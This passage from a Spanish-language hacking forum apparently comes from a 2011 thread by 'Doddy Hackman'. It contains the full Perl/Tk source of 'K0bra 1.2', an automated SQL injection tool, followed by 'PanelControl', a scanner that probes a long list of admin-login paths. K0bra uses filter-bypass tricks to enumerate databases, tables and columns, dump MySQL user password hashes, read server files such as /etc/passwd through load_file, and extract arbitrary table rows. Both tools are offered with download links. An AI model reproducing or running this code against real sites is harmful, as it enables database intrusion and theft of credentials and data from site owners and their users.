$logo->Label(-background=>"black",-image =>$tomaboludo,-borderwidth=>0)->place(-y=>20,-x=>40);   

#
$logo->Label(-text=>"Target : ",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-x=>25,-y=>260);
my $targetero = $logo->Entry(-width=>50,-text=>"http://127.0.0.1/sql.php?id=1",-background=>"black",-foreground=>"green")->place(-y=>263,-x=>90);
$logo->Button(-text=>"Scan",-width=>10,-command=>\&start,-background=>"black",-foreground=>"green",-activebackground=>"green")->place(-y=>260,-x=>400);
#

$logo->Label(-text=>"Options",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-x=>210,-y=>320);

$logo->Button(-text=>"Get DBS",-width=>10,-command=>\&getdbs,-background=>"black",-foreground=>"green",-activebackground=>"green")->place(-y=>363,-x=>40);
$logo->Button(-text=>"Get Tables",-width=>10,-command=>\&schematablesdb,-background=>"black",-foreground=>"green",-activebackground=>"green")->place(-y=>363,-x=>120);
$logo->Button(-text=>"Get Columns",-width=>10,-command=>\&schemacolumnsdb,-background=>"black",-foreground=>"green",-activebackground=>"green")->place(-y=>363,-x=>200);
$logo->Button(-text=>"mysql users",-width=>15,-command=>\&mynow,-background=>"black",-foreground=>"green",-activebackground=>"green")->place(-y=>363,-x=>280);
$logo->Button(-text=>"load_file",-width=>10,-command=>\&myfile,-background=>"black",-foreground=>"green",-activebackground=>"green")->place(-y=>363,-x=>390);

$logo->Button(-text=>"Dump",-width=>10,-command=>\&dum,-background=>"black",-foreground=>"green",-activebackground=>"green")->place(-y=>400,-x=>90);
$logo->Button(-text=>"Hex",-width=>10,-command=>\&per1,-background=>"black",-foreground=>"green",-activebackground=>"green")->place(-y=>400,-x=>170);
$logo->Button(-text=>"ASCII",-width=>15,-command=>\&per2,-background=>"black",-foreground=>"green",-activebackground=>"green")->place(-y=>400,-x=>250);
$logo->Button(-text=>"Show Logs",-width=>10,-command=>\&china,-background=>"black",-foreground=>"green",-activebackground=>"green")->place(-y=>400,-x=>360);

#

$logo->Label(-text=>"Details : ",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-y=>500,-x=>90);

my $informatero = $logo->Listbox(-height=>5,-width=>40,-background=>"black",-foreground=>"green")->place(-y=>480,-x=>160);

#

$logo->Label(-text=>"Databases",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-y=>590,-x=>60);
$logo->Label(-text=>"Tables",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-y=>590,-x=>190);
$logo->Label(-text=>"Columns",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-y=>590,-x=>330);

my $datero = $logo->Listbox(-width=>20,-background=>"black",-foreground=>"green")->place(-y=>630,-x=>40);
my $tablero = $logo->Listbox(-width=>20,-background=>"black",-foreground=>"green")->place(-y=>630,-x=>180);
my $columnero = $logo->Listbox(-width=>20,-background=>"black",-foreground=>"green")->place(-y=>630,-x=>320);

#


MainLoop;

sub start {
msg("K0bra 1.2","Scan Started");
$informatero->delete("0.0","end");
$datero->delete("0.0","end");
$tablero->delete("0.0","end");
$columnero->delete("0.0","end");

my $tengo = $targetero->get;

my ($gen,$save,$control) = &length($tengo,"--");
if ($control eq 1) {
$logo->update;
$targetero->configure(-text=>$gen);
details($gen,$bypass,$save);
} else {
msg("K0bra 1.2","Not found length columns");
}
msg("K0bra 1.2","Scan Finished");
}

sub length {
my $rows  = "0";
my $asc;
my $page = $_[0];
($pass1,$pass2) = &bypass($_[1]);
$inyection = $page.$pass1."and".$pass1."1=0".$pass1."order".$pass1."by"."9999999999".$pass2;
$code = toma($inyection);
$logo->update;

if ($code=~ /supplied argument is not a valid MySQL result resource in <b>(.*)<\/b> on line /ig || $code=~ /mysql_free_result/ig || $code =~ /mysql_fetch_assoc/ig ||$code =~ /mysql_num_rows/ig || $code =~ /mysql_fetch_array/ig || $code =~/mysql_fetch_assoc/ig || $code=~/mysql_query/ig || $code=~/mysql_free_result/ig || $code=~/equivocado en su sintax/ig || $code=~/You have an error in your SQL syntax/ig || $code=~/Call to undefined function/ig) {

$logo->update;

my $testar1 = toma($page.$pass1."and".$pass1."1=0".$pass2);
my $testar2 = toma($page.$pass1."and".$pass1."1=1".$pass2);

unless ($testar1 eq $testar2) {
my $patha = $1;
$logo->update;
chomp $patha;
$alert = "char(".ascii("RATSXPDOWN1RATSXPDOWN").")";
$total = "1";
for my $rows(2..200) {
$logo->update;
$asc.= ","."char(".ascii("RATSXPDOWN".$rows."RATSXPDOWN").")";
$total.= ",".$rows;
$injection = $page.$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$alert.$asc;
$test = toma($injection);
if ($test=~/RATSXPDOWN/) {
@number = $test =~m{RATSXPDOWN(\d+)RATSXPDOWN}g;
$control = 1;
my $save = comer($_[0]);
savefile($save.".txt","\n[Target confirmed] : $page");
savefile($save.".txt","[Bypass] : $_[1]\n");
savefile($save.".txt","[Limit] : The site has $rows columns");
savefile($save.".txt","[Data] : The number @number print data");
$informatero->insert("end","[+] The site has $rows columns");
$informatero->insert("end","[+] The number @number print data");
if ($patha) {
savefile($save.".txt","[Full Path Discloure] : $patha");
}
$total=~s/$number[0]/hackman/;
savefile($save.".txt","[SQLI] : ".$page.$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$total);
return($page.$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$total,$save,$control);
}
}
}
} else {
msg("K0bra 1.2","Not vulnerable");
next;
}
}

sub details {
my ($page,$bypass,$save) = @_;
($pass1,$pass2) = &bypass($bypass);
savefile($save.".txt","\n");
if ($page=~/(.*)hackman(.*)/ig) {
my  ($start,$end) = ($1,$2);
$inforschema = $start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."information_schema.tables".$pass2;
$mysqluser = $start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."mysql.user".$pass2;
$test3 = toma($start."unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))".$end.$pass2);
$test1 = toma($inforschema);
$test2 = toma($mysqluser);
$informatero->insert("end","");
if ($test2=~/ERTOR854/ig) {
savefile($save.".txt","[mysql.user] : ON");
$informatero->insert("end","[mysql.user] : ON");
} else {
$informatero->insert("end","[mysql.user] : OFF");
savefile($save.".txt","[mysql.user] : OFF");
}
if ($test1=~/ERTOR854/ig) {
$informatero->insert("end","[information_schema.tables] : ON");
savefile($save.".txt","[information_schema.tables] : ON");
} else {
$informatero->insert("end","[information_schema.tables] : OFF");
savefile($save.".txt","[information_schema.tables] : OFF");
}
if ($test3=~/ERTOR854/ig) {
$informatero->insert("end","[load_file] : ON");
savefile($save.".txt","[load_file] : ".$start."unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))".$end.$pass2);
}
$concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),version(),char(69,82,84,79,82,56,53,52),database(),char(69,82,84,79,82,56,53,52),user(),char(69,82,84,79,82,56,53,52))))";
$injection = $start.$concat.$end.$pass2;
$code = toma($injection);
if ($code=~/ERTOR854(.*)ERTOR854(.*)ERTOR854(.*)ERTOR854/g) {
$informatero->insert("end","");
$informatero->insert("end","[+] DB Version : $1");
$informatero->insert("end","[+] DB Name : $2");
$informatero->insert("end","[+] user_name : $3");
savefile($save.".txt","\n[!] DB Version : $1\n[!] DB Name : $2\n[!] user_name : $3\n");
} else {
msg("K0bra 1.2","Not Found DB Info");
}
}
}


sub getdbs {
$datero->delete("0.0","end");
my $page = $targetero->get;
my $save = comer($page);
my $page1 = $page;
savefile($save.".txt","\n");
($pass1,$pass2) = &bypass($bypass);
$page=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
$code = toma($page.$pass1."from".$pass1."information_schema.schemata");
if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
my $limita = $1;
$logo->update;
savefile($save.".txt","[+] Databases Length : $limita\n");
$page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),schema_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
$real = "1";
for my $limit(0..$limita) {
$logo->update;
$code = toma($page1.$pass1."from".$pass1."information_schema.schemata".$pass1."limit".$pass1.$limit.",1".$pass2);
if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
my $control = $1;
if ($control ne "information_schema" and $control ne "mysql" and $control ne "phpmyadmin") {
$datero->insert("end",$control);
savefile($save.".txt","[Database $real Found] : $control");
$real++;
}
}
}
} else {
msg("K0bra 1.2","information_schema not found");
}
}


sub schematablesdb {

$tablero->delete("0.0","end");

my $page = $targetero->get;

my $save = comer($page);

$d = $datero->curselection();

for my $id (@$d) {
my $db = $datero->get($id);

my $page1 = $page;
savefile($save.".txt","\n");
($pass1,$pass2) = &bypass($bypass);
savefile($save.".txt","[DB] : $db");
$page =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),table_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
$page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
$code = toma($page1.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass2);
#print $page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass2."\n";
if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) { 
$logo->update;
savefile($save.".txt","[+] Tables Length :  $1\n");
my $limit = $1;
$real = "1";
for my $lim(0..$limit) {
$logo->update;
$code1 = toma($page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$lim.",1".$pass2);
#print $page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$lim.",1".$pass2."\n";
if ($code1 =~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
my $table = $1;
chomp $table;
savefile($save.".txt","[Table $real Found : $table ]");
$tablero->insert("end",$db.".".$table);
$real++;
}}
} else {
msg("K0bra 1.2","information_schema not found");
}}}

sub schemacolumnsdb {

$columnero->delete("0.0","end");

my $page = $targetero->get;
my $save = comer($page);

$d = $tablero->curselection();

for my $id (@$d) {
my $da = $tablero->get($id);

if ($da=~/(.*)\.(.*)/) {
my ($db,$table) = ($1,$2);

my $page3 = $page;
my $page4 = $page;

savefile($save.".txt","\n");
($pass1,$pass2) = &bypass($bypass);
savefile($save.".txt","\n[DB] : $db");
savefile($save.".txt","[Table] : $table");
$page3=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
$code3 = toma($page3.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."and".$pass1."table_schema=char(".ascii($db).")".$pass2);
if ($code3=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
savefile($save.".txt","[Columns length : $1 ]\n");
my $si = $1;
chomp $si;
$page4=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),column_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
$real = "1";
for my $limit2(0..$si) {
$code4 = toma($page4.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."and".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$limit2.",1".$pass2);
if ($code4=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
$columnero->insert("end",$1);
savefile($save.".txt","[Column $real] : $1");
$real++;
}
}
} else {
msg("K0bra 1.2","information_schema not found");
}
}
}
}

sub mynow {

my $p = $targetero->get;

$mi = MainWindow->new(-background=>"black",-foreground=>"green");
$mi->title("Mysql Extractor");
$mi->geometry("500x300+20+20");
$mi->resizable(0,0);

$mi->Label(-text=>"Target : ",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-x=>50,-y=>20);
my $guix = $mi->Entry(-width=>40,-text=>$p,-background=>"black",-foreground=>"green")->place(-y=>23,-x=>110);
$mi->Button(-width=>10,-text=>"Extract",-command=>\&tengorax,-background=>"black",-foreground=>"green",-activebackground=>"green")->place(-y=>20,-x=>360);

$mi->Label(-text=>"Host",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-x=>60,-y=>90);
$mi->Label(-text=>"User",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-x=>200,-y=>90);
$mi->Label(-text=>"Password",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-x=>360,-y=>90);

my $hostero = $mi->Listbox(-width=>20,-background=>"black",-foreground=>"green")->place(-y=>130,-x=>40);
my $usero = $mi->Listbox(-width=>23,-background=>"black",-foreground=>"green")->place(-y=>130,-x=>180);
my $pasero = $mi->Listbox(-width=>20,-background=>"black",-foreground=>"green")->place(-y=>130,-x=>340);


sub tengorax {

my $page = $guix->get;
my $save = comer($page);

my $cop = $page;
my $cop1 = $page;
savefile($save.".txt","\n");

($pass1,$pass2) = &bypass($bypass);
$page =~s/hackman/concat(char(82,65,84,83,88,80,68,79,87,78,49))/;
$code = toma($page.$pass1."from".$pass1."mysql.user".$pass2);
if ($code=~/RATSXPDOWN/ig){
$cop1 =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
$code1 = toma($cop1.$pass1."from".$pass1."mysql.user".$pass2);
if ($code1=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
$mi->update;
savefile($save.".txt","\n[+] Users mysql Found : $1\n");
for my $limit(0..$1) {
$mi->update;
$cop =~s/hackman/unhex(hex(concat(0x524154535850444f574e,Host,0x524154535850444f574e,User,0x524154535850444f574e,Password,0x524154535850444f574e)))/;
$code = toma($cop.$pass1."from".$pass1."mysql.user".$pass1."limit".$pass1.$limit.",1".$pass2);
if ($code=~/RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN/ig) {
$mi->update;
$hostero->insert("end",$1);
$usero->insert("end",$2);
$pasero->insert("end",$3);
savefile($save.".txt","[Host] : $1 [User] : $2 [Password] : $3");
} else {
last;
}}}
} else {
msg("K0bra 1.2","mysql.user not found");
}
}
}

sub myfile {

my $pag = $targetero->get;

$loa = MainWindow->new(-background=>"black",-foreground=>"green");
$loa->title("load_file helper");
$loa->geometry("380x410+20+20");
$loa->resizable(0,0);

$loa->Label(-text=>"Target : ",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-x=>20,-y=>20);
my $aa = $loa->Entry(-width=>40,-text=>$pag,-background=>"black",-foreground=>"green")->place(-y=>23,-x=>80);
$loa->Label(-text=>"File : ",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-y=>60,-x=>23);
my $tea = $loa->Entry(-width=>20,-text=>"C:/xampp/htdocs/aca.txt",-background=>"black",-foreground=>"green")->place(-y=>63,-x=>63);
$loa->Button(-text=>"Encode",-width=>8,-command=>\&eno,-activebackground=>"green",-background=>"black",-foreground=>"green")->place(-y=>62,-x=>200);
$loa->Button(-text=>"Show",-width=>8,-command=>\&ena,-activebackground=>"green",-background=>"black",-foreground=>"green")->place(-y=>62,-x=>263);

$loa->Label(-text=>"Output",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-x=>160,-y=>130);
my $mo = $loa->ROText(-width=>45,-height=>15,-background=>"black",-foreground=>"green")->place(-y=>170,-x=>25);

sub eno {
my $t = $tea->get;
if ($t=~/0x/) {
$tea->configure(-text=>decode($t));
} else {
$tea->configure(-text=>encode($t));
}
}

sub ena {

$mo->delete("0.0","end");

my $page = $aa->get;
my $save = comer($page);

savefile($save.".txt","\n");
($pass1,$pass2) = &bypass($bypass);
if ($page =~/(.*)hackman(.*)/g) {
my $start = $1; my $end = $2;
my $file = $tea->get;
chomp $file;
$concat = "unhex(hex(concat(char(107,48,98,114,97),load_file(".$file."),char(107,48,98,114,97))))";
my $code = toma($start.$concat.$end.$pass2);
chomp $code;

if ($code=~/k0bra(.*)k0bra/s) {
my $word = $1;
$mo->insert("end",$word);
savefile($save.".txt","[File Found] : $file");
savefile($save.".txt","\n[Source Start]\n");
savefile($save.".txt","$word");
savefile($save.".txt","\n[Source End]\n");
} else {
msg("K0bra 1.2","Error");
}}}}

sub dum {

my $pa = $targetero->get;

$max = MainWindow->new(-background=>"black",-foreground=>"green");
$max->title("Dump Values");
$max->geometry("480x380+20+20");
$max->resizable(0,0);

$max->Label(-text=>"Target : ",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-x=>50,-y=>20);
my $tata = $max->Entry(-width=>40,-text=>$pa,-background=>"black",-foreground=>"green")->place(-y=>23,-x=>110);

$max->Label(-text=>"Table : ",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-x=>50,-y=>60);
my $tato = $max->Entry(-width=>20,-background=>"black",-foreground=>"green")->place(-x=>105,-y=>63);

$max->Label(-text=>"Column1 : ",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-y=>90,-x=>50);
my $tatu = $max->Entry(-width=>20,-background=>"black",-foreground=>"green")->place(-x=>130,-y=>93);

$max->Label(-text=>"Column2 : ",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-y=>130,-x=>50);
my $tita= $max->Entry(-width=>20,-background=>"black",-foreground=>"green")->place(-y=>133,-x=>130);


$max->Button(-width=>10,-text=>"Extract",-command=>\&tengor,-activebackground=>"green",-background=>"black",-foreground=>"green")->place(-y=>20,-x=>360);

$max->Label(-text=>"Column1",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-x=>100,-y=>180);
$max->Label(-text=>"Column2",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-x=>300,-y=>180);

my $duta1 = $max->Listbox(-width=>20,-background=>"black",-foreground=>"green")->place(-y=>210,-x=>70);
my $duta2 = $max->Listbox(-width=>23,-background=>"black",-foreground=>"green")->place(-y=>210,-x=>260);


sub tengor {

$duta1->delete("0.0","end");
$duta2->delete("0.0","end");

my $page = $tata->get;
my $tabla = $tato->get;
my $col1 = $tatu->get;
my $col2 = $tita->get;

my $save = comer($page);

savefile($save.".txt","\n");

($pass1,$pass2) = &bypass($bypass);
if ($page=~/(.*)hackman(.*)/){
my $start = $1;
my $end = $2;
$concatx = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),count($col1),char(69,82,84,79,82,56,53,52))))";
$val_code = toma($start.$concatx.$end.$pass1."from".$pass1.$tabla.$pass2);
$concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),$col1,char(69,82,84,79,82,56,53,52),$col2,char(69,82,84,79,82,56,53,52))))";
if ($val_code=~/ERTOR854(.*)ERTOR854/ig) {
$tota = $1;
savefile($save.".txt","[Table] : $tabla");
savefile($save.".txt","[+] Length of the rows: $tota\n");
savefile($save.".txt","[$col1] [$col2]\n");
for my $limit(0..$tota) {
chomp $limit;
$injection = toma($start.$concat.$end.$pass1."from".$pass1.$tabla.$pass1."limit".$pass1.$limit.",1".$pass2);
if ($injection=~/ERTOR854(.*)ERTOR854(.*)ERTOR854/ig) {
savefile($save.".txt","[$col1] : $1   [$col2] : $2");
$duta1->insert("end",$1);
$duta2->insert("end",$2);
} else {
last;
}}
} else {
msg("K0bra 1.2","Error");
}}}}

sub per1 {

my $he = MainWindow->new(-background=>"black",-foreground=>"green");
$he->title("Hex Converter (C) Doddy Hackman 2011");
$he->geometry("420x70+20+20");
$he->resizable(0,0);
$he->Label(-text=>"Text : ",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-x=>20,-y=>20);
my $cam = $he->Entry(-width=>30,-background=>"black",-foreground=>"green")->place(-y=>24,-x=>65);
$he->Button(-text=>"Encode",-width=>10,-command=>\&paso1,-activebackground=>"green",-background=>"black",-foreground=>"green")->place(-y=>20,-x=>255);
$he->Button(-text=>"Decode",-width=>10,-command=>\&paso2,-activebackground=>"green",-background=>"black",-foreground=>"green")->place(-y=>20,-x=>325);

sub paso1 {

my $caca = $cam->get();
chomp $caca;

$cam->configure(-text=>encode($caca));

}

sub paso2 {

my $caca = $cam->get();
chomp $caca;

$cam->configure(-text=>decode($caca));

}
}


sub per2 {

my $hexae = MainWindow->new(-background=>"black",-foreground=>"green");
$hexae->title("Ascii Converter (C) Doddy Hackman 2011");
$hexae->geometry("420x70+20+20");
$hexae->resizable(0,0);
$hexae->Label(-text=>"Text : ",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-x=>20,-y=>20);
my $cama = $hexae->Entry(-width=>30,-background=>"black",-foreground=>"green")->place(-y=>24,-x=>65);
$hexae->Button(-text=>"Encode",-width=>10,-command=>\&paso3,-activebackground=>"green",-background=>"black",-foreground=>"green")->place(-y=>20,-x=>255);
$hexae->Button(-text=>"Decode",-width=>10,-command=>\&paso4,-activebackground=>"green",-background=>"black",-foreground=>"green")->place(-y=>20,-x=>325);


sub paso3 {

my $caca = $cama->get();
chomp $caca;

$cama->configure(-text=>ascii($caca));

}

sub paso4 {

my $caca = $cama->get();
chomp $caca;

$cama->configure(-text=>ascii_de($caca));

}

}

sub china {
my $de = $targetero->get;
my $save = comer($de);
my $file = $save.".txt";
system("start logs/webs/$file");
}

sub bypass {
if ($_[0] eq "/*") { return ("/**/","/*"); }
elsif ($_[0] eq "%20") { return ("%20","%00"); }
else {return ("+","--");}}

sub ascii {
return join ',',unpack "U*",$_[0];
}

sub ascii_de {
$_[0] = join q[], map { chr } split q[,],$_[0];
return $_[0];
}


sub encode {
my $string = $_[0];
$hex = '0x';
for (split //,$string) {
$hex .= sprintf "%x", ord;
}
return $hex;
}

sub decode {
$_[0] =~ s/^0x//;
$encode = join q[], map { chr hex } $_[0] =~ /../g;
return $encode;
}


sub toma {
return $nave->get($_[0])->content;
}

sub savefile {
open (SAVE,">>logs/webs/".$_[0]);
print SAVE $_[1]."\n";
close SAVE;
}

sub comer {
my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
return $auth;
}

sub installer {
unless (-d "/logs/webs") {
mkdir("logs/",777);
mkdir("logs/webs/",777);
}
}

sub msg {

my $color_fondo = "black"; #white
my $color_letra = "green"; #black

my ($titulo,$contenido) = @_;

my $mensaje = MainWindow->new(-background=>$color_fondo,-foreground=>$color_letra);
$mensaje->title($titulo);
$mensaje->geometry("200x50+20+20");
$mensaje->resizable(0,0);
$mensaje->Label(-text=>$contenido,-font=>"Impact1",-background=>$color_fondo,-foreground=>$color_letra)->place(-y=>15,-x=>20);

MainLoop;

}

# ¿ The End ?


Para bajar el script con el logo lo pueden hacer de aca

Código: text

http://doddyhackman.webcindario.com/descargas/k0bra12.rar

#433
Perl / [Perl Tk] PanelControl
Agosto 19, 2011, 11:28:28 PM
Bueno este es un simple buscador de panel de administracion en su version Tk.

Una imagen con un ejemplo de uso seria




El codigo

Código: text

#!usr/bin/perl
#PanelControl Tk

use Tk;
use Tk::PNG;
use Tk::ROtext;
use LWP::UserAgent;

@panels=('admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx'
,'admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx'
,'asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx'
,'asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx'
,'admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx'
,'login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx'
,'administracion/index.asp','administracion/index.aspx','administracion/login.asp'
,'administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx'
,'administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php'
,'admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php'
,'admin/administrador.php','admin/default.php','administracion/','administracion/index.php'
,'administracion/login.php','administracion/ingresar.php','administracion/admin.php'
,'administration/','administration/index.php','administration/login.php'
,'administrator/index.php','administrator/login.php','administrator/system.php','system/'
,'system/login.php','admin.php','login.php','administrador.php','administration.php'
,'administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php'
,'yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html'
,'admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html'
,'admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html'
,'administrator/','administrator/index.html','administrator/login.html'
,'administrator/account.html','administrator/account.php','administrator.html','login.html'
,'modelsearch/login.php','moderator.php','moderator.html','moderator/login.php'
,'moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/'
,'account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html'
,'admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp'
,'admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp'
,'admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp'
,'administrator/login.asp','administrator/account.asp','administrator.asp'
,'modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp'
,'account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/'
,'fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php'
,'sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp'
,'ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html'
,'Server.asp','Server/','wp-admin/','administr8.php','administr8.html'
,'administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp'
,'webadmin.html','administratie/','admins/','admins.php','admins.asp'
,'admins.html','administrivia/','Database_Administration/','WebAdmin/'
,'useradmin/','sysadmins/','admin1/','system-administration/','administrators/'
,'pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/'
,'administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/'
,'cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/
','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/
','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/
','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/
','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/'
,'project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/'
,'wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/'
,'Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/'
,'irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/'
,'administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/'
,'Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/'
,'cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/'
,'server/','database_administration/','power_user/','system_administration/'
,'ss_vms_admin_sm/');

if ($^O eq 'MSWin32') {
use Win32::Console;
Win32::Console::Free();
}

installer();

my $nave = LWP::UserAgent->new;
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
$nave->timeout(5);

my $finderad = MainWindow->new(-background=>"black",-foreground=>"red");

$finderad->title("PanelControl (C) Doddy Hackman 2011");
$finderad->geometry("730x550+20+20");
$finderad->resizable(0,0);

my $tomaboludo = $finderad->Photo(-file => "mod.png");
$finderad->Label(-background=>"black",-image =>$tomaboludo,-borderwidth=>0)->place(-y=>20,-x=>10);   

$finderad->Label(-text=>"Page : ",-font=>"Impact1",-background=>"black",-foreground=>"red")->place(-y=>318,-x=>115);
my $target = $finderad->Entry(-background=>"black",-foreground=>"red",-width=>60)->place(-y=>320,-x=>170);
$finderad->Button(-background=>"black",-foreground=>"red",-text=>"Scan",-activebackground=>"red",-width=>8,-command=>\&scan)->place(-y=>320,-x=>540);

$finderad->Label(-text=>"Panels Found : ",-background=>"black",-foreground=>"red",-font=>"Impact1")->place(-x=>58,-y=>450);
my $founds = $finderad->Listbox(-height=>5,-width=>61,-background=>"black",-foreground=>"red",-borderwidth=>0)->place(-y=>425,-x=>170);
$finderad->Button(-background=>"black",-foreground=>"red",-activebackground=>"red",-text=>"Load",-width=>8,-command=>\&loader)->place(-y=>450,-x=>544);

MainLoop;


sub scan {
$founds->delete("0.0","end");
my $target = $target->get;
msg("PanelControl","Scan Started");
for $path(@panels) {
$finderad->update;
$code = toma($target."/".$path);
if ($code->is_success) {
$finderad->update;
$founds->insert("end",$target."/".$path);
savefile("panels-founds.txt",$target."/".$path);
}
}
msg("PanelControl","Scan Finished");
}


sub loader {
$d = $founds->curselection();
for my $id (@$d) {
my $linkar = $founds->get($id);
system("start firefox $linkar");
}
}

sub toma {
return $nave->get($_[0]);
}

sub msg {
my $color_fondo = "black"; #white
my $color_letra = "red"; #black
my ($titulo,$contenido) = @_;
my $mensaje = MainWindow->new(-background=>$color_fondo,-foreground=>$color_letra);$mensaje->title($titulo);
$mensaje->geometry("200x50+20+20");
$mensaje->resizable(0,0);
$mensaje->Label(-text=>$contenido,-font=>"Impact1",-background=>$color_fondo,-foreground=>$color_letra)->place(-y=>15,-x=>20);
}

sub installer {
unless (-d "/logs") {
mkdir("logs/",777);
}
}

sub savefile {
open (SAVE,">>logs/".$_[0]);
print SAVE $_[1]."\n";
close SAVE;
}

# The End ?


Para bajar el script con el logo lo pueden hacer de aca

Código: text

